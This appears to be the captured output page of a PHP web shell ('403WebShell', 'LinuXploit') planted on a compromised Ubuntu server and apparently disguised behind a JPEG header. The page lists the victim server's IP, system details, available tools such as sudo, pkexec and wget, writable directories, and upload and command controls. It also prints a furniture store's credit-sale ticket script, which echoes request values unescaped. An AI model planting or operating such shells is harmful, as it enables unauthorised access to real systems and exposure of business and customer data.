����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/salesCreditOLD/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/salesCreditOLD/nota_jual.php
<?php 
$titlepage="ticket";
include "../../library/config.php";
require_once("../model/dbconn.php");
require_once("../model/pos.php");
include "../layout/top-header.php"; 



date_default_timezone_set("America/Mexico_City");

include "../../pos11/core/autoload.php";
include "../../pos11/core/app/model/ProductData.php";
include "../../pos11/core/app/model/OperationData.php";
include "../../pos11/core/app/model/OperationTypeData.php";
include "../../pos11/core/app/model/StockData.php";
include "../../pos11/core/app/model/ConfigurationData.php";
include "../../pos11/core/app/model/SellData.php";
include "../../pos11/core/app/model/PersonData.php";
include "../../pos11/core/app/model/PaymentData.php";
include "../../pos11/core/app/model/FData.php";

//inicio de if principal
if( isset($_POST["id_sales"]) || isset($_GET["id"]) ):
	
	
	//VALIDAMOS COMO SE RECIBE EL ID DE LA VENTA
		if(isset($_GET["id"]))
		{
			$sale_id= $_GET["id"];
		}else{
			$sale_id= $_POST["id_sales"];
		}
	
		   //obtenemos el sell_id desde sale_id
		$sell = SellData::getByc($sale_id);
		$sell_id =  $sell->id;
		
?>

<form class="form-horizontal" method="post" enctype="multipart/form-data" id="factura" action="#" role="form">
				<section class="content">
					
					<?php //id de la venta?>
					<input type="hidden" name="sell_id" value="<?php echo $sell_id; ?>">
					
					<?php //Menu derecho?>
					<div class="btn-group pull-right">
					  <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
						<i class="fa fa-download"></i> Ticket <span class="caret"></span>
					  </button>
					  <ul class="dropdown-menu" role="menu">
						<li><a href="http://muebles/pos11/report/onesell-word.php?id=<?php echo $sell_id;?>">Word 2007 (.docx)</a></li>
						<li><a href="http://muebles/pos11/report/factura_ticket-xlsx.php?sale_id=<?php echo $sale_id;?>&id=<?php echo $sell_id;?>">Generar Fatura</a></li>
					  </ul>
					</div>

					<?php //empieza la impresion del ticket?>
					<!DOCTYPE html>
					<html>
						<head>
							<meta charset="UTF-8">
							<title></title>
							<script type="text/javascript">
								function imprimir() {
									if (window.print) {
										window.print();
									} else {
										alert("La función de impresion no esta soportada por su navegador.");
									}
								}
							</script>
						</head>
						<body onload="imprimir()" >
						
						
							<?php 
							//si existe venta va a imprimir ticket
					if(isset($sell_id) && $sell_id!=""):?>

								<?php //datos del encabezado
								$sell = SellData::getById($sell_id);
								//t_sale 
								$sale = SellData::getByIdSale($sale_id);
								$operations = OperationData::getAllProductsBySellId($sale_id);
								$total = 0;
								$settingsRFC = ConfigurationData::getByIdRFC();
								$settings2 = ConfigurationData::getById1();
								$settingsEmisor = ConfigurationData::getByIdEmisor();
								$settingsCalle = ConfigurationData::getByIdCalle();
								$settingsInt = ConfigurationData::getByIdInt();
								$settingsExt = ConfigurationData::getByIdExt();
								$settingsColonia = ConfigurationData::getByIdColonia();
								$settingsCity = ConfigurationData::getByIdCity();
								$settingsCP = ConfigurationData::getByIdCp();
								$logo = ConfigurationData::getByPreffix("report_image")->val;//
								 $ruta_logo = "../../pos11/storage/configuration/$logo";
								?>
								
								<?php //encabezado de ticket?>
						<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
										<table class="table table-bordered">
												<tr>
													<td align="center"><img src="<?php echo $ruta_logo;?>" width="120" height="120"></td>
												</tr>
												<tr>
													<td colspan="2" align="center"><?php echo $settings2->val;?></td>
												</tr> 
												<tr>
													<td colspan="2" align="center"><?php echo $settingsCalle->val; echo " "; echo $settingsInt->val; echo " "; echo $settingsExt->val; echo " "; echo $settingsColonia->val;?>
													</td>
												</tr> 

										</table>
								</div>  
							</div>
						</div>
						<?php foreach($sell as $sell2){ ?> 
						<?php } ?> 
							<div class="row">
								<div class="col-md-4">
									<div class="box box-primary">
										<table class="table table-bordered">
											<?php 
											$time = time();
											
													//buscamos datos del cliente
													if(isset($sale->id_client)){
														$posUser = new pos();
														//obtenemos los datos del cliente por contrato
														$cliente = $posUser->getCustomer($sale->id_client);
														$nombre = $cliente[1];

														//print_r($cliente);
														
													}else{
														$nombre="";
														$cliente="";
													}	
												
												
											if($nombre['name'] != "MOSTRADOR"){	
											?>
											<tr>
												<th  align="right">Nombre de Cliente:</th>
												
												<td colspan="6" ><input align="center" class="form-control" disabled name="nombre" value="<?php  echo $nombre['name']; ?>"></input></td>
													</tr>
											<?php 
											}
											?>
											
											
											<tr>
											  <td><b> Fecha de Venta: </b></td>
											  <td colspan="2" align="left" id="created_at"><?php echo $sell2->created_at ; ?></td>
											  <td colspan="2" align="right" id="cajero"><b>Cobrador: </b></td>
											<td colspan="2" align="center" id="cajero"><?php echo $nombre['cobrador']; ?> </td>
											</tr>
											<tr>
											  <td><b> Fecha de Vencimiento: </b></td>
											  <td colspan="2" align="left" id="date_sale"><?php echo $sell2->created_at ; ?></td>
											  
											   <td colspan="2" align="right" id="ticket"><b>Ticket: </b></td>
												<td colspan="2" align="left" id="ticket"><?php echo $sell2->id ; ?></td>
											</tr>
										</table>
									</div>  
								</div>
							</div>
						<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
									<table class="table table-bordered">
										<tr>
											<th style="width:10px;">Cant</th>
											<th colspan="2">Mercancia</th>
											<th>Costo Unitario</th>
										</tr>
										<tr>
											<?php
											  /**/
												$prod = array();
											  //$_SESSION['arreglo'] = array();
											  foreach($operations as $operation){
												$product  = $operation->getProduct();
												$prod[] = array(
													"cantidad" => $operation->qty,
													"name" => $product->item_name,
													"unidad" => "NA",
													"id" => $product->id_item,
													"valorunitario" => $product->price,
													"importe" => $product->price * $operation->qty,
													"claveunidad" => $product->unit,
												);
											?>
											<td><?php echo $operation->qty ; ?></td>
											<td colspan="2" align="left"><?php echo $product->item_name ;?></td>
											<td align="left">$ <?php echo number_format($operation->price,2,".",",");$total+=$operation->qty*$operation->price;?></td>
										</tr>
										<?php
										  }
										  $_SESSION['prod'] = $prod;
										  
										  ?>
									</table>
								</div>
							</div>
						</div>	
						
						<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
									<table class="table table-bordered">
									<tr>
										<td><b>Total de la Compra:</b></td>
										
										<td align="right"><u><b>$ <?php echo number_format($total,2,'.',','); ?></b></u></td>
									</tr>
									
									
									<?php 
										//FORMAS DE PAGO
										$MontoPago2 = abs($sell2->total-$sell2->cash);
										//obtenermos los valores de forma 1 y forma 2
										$t_sale = SellData::getBySale($sell2->sale_id);
										  $NameP1 = FData::getById($t_sale->f_pago1);
										  $NameP2 = FData::getById($t_sale->f_pago2);
										if($sell2->cash < $sell2->total):
									?>
										
										
									<?php else:?>		
										<tr>
											<td colspan="2"><b>Importe Recibido(<?php echo $NameP1->name;?>):</b></td>
											<td align="right">$ <?php echo number_format($sell2->discount,2,'.',','); ?></td>	
										</tr>
										
											<?php 
											$cambio=$sell2->cash-$sell2->total;
											?>
											<?php if($sell2->p_id != 4): ?>
												<tr>
												<td colspan="2">Cambio: </td>
												<td align="right">$ <?php echo number_format($cambio,2,'.',','); ?></td>
												</tr>
											<?php endif; ?>
									<?php endif;?>
									  
									
									
									
									<?php if($sell2->p_id != 4): ?>
									
									<tr>
										<td><b>Enganche($):</b></td>
										<td></td>
										<td align="right"> $<?php echo number_format($sell2->stock_to_id,2,'.',','); ?>  </td>
									</tr>
									<?php endif; ?>
									<tr>
										<td><b>Enganche($):</b></td>
										<td></td>
										<td align="right">$ <?php echo number_format($sell2->enganche,2,'.',','); ?></td>
									</tr>
									<tr>
										<td><b>Total Saldo a Credito:</b></td>
										<td></td>
										<td align="right"><u><b>$ <?php echo number_format($sell2->total,2,'.',','); ?></b></u></td>
									</tr>
									
									
									
									</table>
								</div>
							</div>
						</div>
						
								<div class="row">
							<div class="col-md-4">
								<div class="box box-primary">
									<table class="table table-bordered">
									<tr>
										<th>Fecha de Cobro</th>
										<th>Pago</th>
										<th align="left">Saldo Actual</th>
									</tr>
									<?php 
									//obtenemos el dato de fecha de cobro siguiente y  monto de abono y salto
									$job = new pos();
									$arrayJ = $job->getjobContract($nombre['contract']);
									//print_r($arrayJ[1]);
									
									$cobranza = new pos();
									$arrayC = $cobranza->getCollectionPay($nombre['id_cust']);
									
									//print_r($arrayC[1]);
									
									$fechaVenta = $sell2->created_at;
									
									
									//periodicidad de pago 
									switch($arrayC[1]['txtpayment_period']) {
										case 1: 
											$txtpayment_period= "Semanal";
											$mod_date = strtotime($fechaVenta."+ 7 days");
											$fechaCobro =  date("d-m-Y",$mod_date);
										break;
										case 2: 
											$txtpayment_period= "Catorcenal";
											$mod_date = strtotime($fechaVenta."+ 14 days");
											$fechaCobro =  date("d-m-Y",$mod_date);
										break;
										case 3: 
											$txtpayment_period= "Quincenal";
											$mod_date = strtotime($fechaVenta."+ 15 days");
											$fechaCobro =  date("d-m-Y",$mod_date);
										break;
										case 4: 
											$txtpayment_period= "Mensual";
											$mod_date = strtotime($fechaVenta."+ 30 days");
											$fechaCobro =  date("d-m-Y",$mod_date);
										break;
									}
									
									//dia de pago

										$var= $arrayC[1]['payday'];
										switch($var) {
										case 7: $payday= " domingo";
										break;
										case 1: $payday= "Lunes";
										break;
										case 2: $payday= "Martes";
										break;
										case 3: $payday= "Miercoles";
										break;
										case 4: $payday= "Jueves";
										break;
										case 5: $payday= "viernes";
										break;
										case 6: $payday= "Sabado";
										break;
										}
									
									
									?>
									<tr>
										
										<td align="left"><?php echo $fechaCobro;?></td>
										<td align="left">$ <?php echo number_format($arrayC[1]['min_pay'],2);?></td>	
										<td align="left">$ <?php echo number_format($sell2->total,2,'.',','); ?></td>	
									</tr>
										
									</table>
								</div>
							</div>
						</div>

						
					<?php endif;?>	
					</body>
					</html>
				</section>
			</form>




<?php
else:
	echo "Error de Sistema";
	include "../../library/check_login.php";
endif;

?> 

<?php include "../layout/bottom-footer.php"; //footer template ?> 
<script src="../../plugins/datepicker/bootstrap-datepicker.js"></script>
<script src="../../dist/js/redirect.js"></script>
<script src="j_pos.js"></script>

<script language="JavaScript">

function cerrar() {
var ventana = window.self;
ventana.opener = window.self;
ventana.close();
}
setTimeout('cerrar()',5000); //5000 = 5 segundos.
</script>



Youez - 2016 - github.com/yon3zu
LinuXploit